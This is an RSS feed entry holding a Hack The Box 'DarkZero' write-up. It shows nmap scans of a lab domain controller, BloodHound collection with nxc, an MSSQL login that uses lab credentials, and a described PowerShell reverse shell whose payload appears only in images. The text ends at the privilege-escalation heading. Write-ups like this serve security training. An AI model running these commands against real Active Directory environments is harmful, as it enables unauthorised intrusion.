<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Nano's Hacking Blog]]></title><description><![CDATA[Personal blog about cybersecurity, OSINT, Red Teaming and hacking writeups. Exploring offensive security from a hands-on perspective.]]></description><link>https://blog.0xnano.com</link><generator>RSS for Node</generator><lastBuildDate>Sun, 19 Apr 2026 04:32:15 GMT</lastBuildDate><atom:link href="https://blog.0xnano.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[DarkZero]]></title><description><![CDATA[Initial Recon
First, we start with a port scan using nmap:
nmap -sVC -Pn -vvv 10.129.28.186

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   ]]></description><link>https://blog.0xnano.com/darkzero</link><guid isPermaLink="true">https://blog.0xnano.com/darkzero</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[htb]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Thu, 16 Apr 2026 05:46:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/eb2f3120-b679-490c-9aa5-2beeaccd3794.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Initial Recon</h2>
<p>First, we start with a port scan using nmap:</p>
<pre><code class="language-shell">nmap -sVC -Pn -vvv 10.129.28.186
</code></pre>
<pre><code class="language-shell">PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 03:26:44Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
2179/tcp open  vmrdp?        syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.darkzero.htb
| Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-29T11:40:00
| Not valid after:  2026-07-29T11:40:00
| MD5:     ce57 1ac8 da76 eb62 efe8 4e85 045b d440
| SHA-1:   603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c
| SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c
| -----BEGIN CERTIFICATE-----
| MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl
| cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN
| MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw
| DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA
| n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw
| nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR
| yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA
| jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3
| gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA
| AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy
| AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P
| AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG
| SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB
| AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9
| RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7
| ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv
| LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj
| ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o
| dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS
| TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH
| MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp
| YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s
| REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
| cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB
| oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB
| gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4
| OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f
| CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs
| oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP
| gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj
| Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs
| 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl
| IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ
| a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1
| /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY
| pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6
| j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY
| TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-07T03:27:27
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 34992/tcp): CLEAN (Timeout)
|   Check 2 (port 45399/tcp): CLEAN (Timeout)
|   Check 3 (port 28038/udp): CLEAN (Timeout)
|   Check 4 (port 18215/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: -1m03s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
</code></pre>
<p>As we can see, there is a Domain Control running on DC01.darkzero.htb.</p>
<hr />
<h2>BloodHound</h2>
<p>First, we need to sync our machine clock with kerberos:</p>
<pre><code class="language-shell">sudo ntpdate 10.129.28.186
</code></pre>
<p>Then we are going to execute bloodhound against the target to gather all the information from Active Directory:</p>
<pre><code class="language-shell">nxc ldap 10.129.28.186 -u john.w -p 'RFulUtONCOL!' --bloodhound --dns-server 10.129.28.186 -c All
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5d768491-d9a8-476d-8e13-332d958803be.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/82cf448c-2330-4e80-98ea-07205a49691f.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c6e2c9cc-29c2-4d34-bf68-5fa90dc07fd5.png" alt="" style="display:block;margin:0 auto" />

<p>As we can see, <strong>DARKZERO.EXT</strong> and <strong>DARKZERO.HTB</strong> have bidirectional trust due to the <strong>CrossForestTrust</strong>, this means that both forests trust each other, this can be util to do a lateral movement.</p>
<hr />
<h2>MSSQL</h2>
<p>Now we are going to connect to the <strong>Microsft Server SQL (MSSQL)</strong> service and enumerate every available configuration:</p>
<pre><code class="language-shell">mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' -windows-auth
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c1658eb1-8534-4d4d-ad68-a55b5d633160.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9a2f56b8-fef6-4ea4-9fb1-7c3565f1c2f4.png" alt="" style="display:block;margin:0 auto" />

<p>If we take a look at the output from the command <strong>enum_links</strong>, we'll see that the user <strong>john.w</strong> has local access to <strong>DC02</strong> with the user <strong>svc_sql</strong> (sql service account). This can be usefull to get a shell and execute commands in the system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/64545d7d-f495-4faa-9aa6-89a043217af8.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Revshell</h2>
<p>After successfully gaining <strong>remote command execution</strong> on the system, we are going to execute a <strong>Powershell</strong> payload which enables us a <strong>reverse shell connection</strong> on the system:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/2ad04817-07ad-4bac-8361-4d404a12759e.png" alt="" style="display:block;margin:0 auto" />

<p>First, we need to start a <strong>netcat</strong> listener and then execute the payload:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/3e48bf5e-9a88-40cf-b069-cfad767c9f29.png" alt="" style="display:block;margin:0 auto" />

<p>Once received the connection, we'll see that we can't do much as <strong>svc_sql</strong>, so we need to figure out a way to <strong>escalate privileges</strong> on the system. If we start <strong>enumerating</strong>, we'll see that the system we are inside is <strong>DC02</strong> and it's using an <strong>outdated</strong> version of Windows Server, in this case, we can see <strong>Windows Server 2022</strong> running on the system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c8cb130a-73c0-40fa-9ebe-122d8dc080e1.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>DC02 Local Privilege Escalation</h2>
